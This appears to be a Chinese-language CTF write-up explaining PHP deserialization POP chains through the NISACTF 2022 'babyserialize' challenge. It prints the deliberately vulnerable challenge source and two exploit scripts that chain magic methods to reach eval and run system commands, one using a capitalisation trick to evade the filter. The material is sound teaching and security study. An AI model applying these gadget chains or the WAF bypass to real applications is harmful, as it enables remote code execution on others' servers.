PHP序列化与反序列化(pop链)

发布时间 2023-05-04 19:53:41作者: Ekusas

构造思想

构造一条完整的pop链要有头有尾,头一般是从传参的地方开始并反序列化,尾是可以达到攻击或获取数据的·口子,比如eval,include等可以执行或者包含读取。有了头又有了尾,就要通过魔术方法把它们连接起来。

魔术方法

__construct()  创建对象时触发
__destruct()  对象被销毁时触发
__sleep()  在对象被序列化的过程中自动调用,且发生在序列化之前
__wakeup()  该魔术方法在反序列化的时候自动调用,且发生在反序列化之前
__get()  用于从不可访问或不存在的属性读取数据
__set()  用于将数据写入不可访问或不存在的属性
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__toString()  在对象当做字符串的时候会被调用。
__invoke()  当尝试将对象调用为函数时触发

题目解析

[NISACTF 2022]babyserialize

题目源码

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

解题思路

1).eval反推到_invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。

 __invoke魔术方法是对象被当做函数进行调用的时候所触发

2.)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

  __ToString方法,是对象被当做字符串的时候进行自动调用

3.)__toString反推到__set

在four的__set中,调用了strolower方法。

    strolower函数把字符串转换为小写;

4.)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用

__call:对不存在的方法或者不可访问的方法进行调用就自动调用

 

构造exp

 

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='system("ls");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

 

发现something wrong…
这里进行常规大小写转换,就可以绕过

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='System("tac /fllllllaaag");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

 

 参考文章链接:https://blog.csdn.net/weixin_57222016/article/details/124620719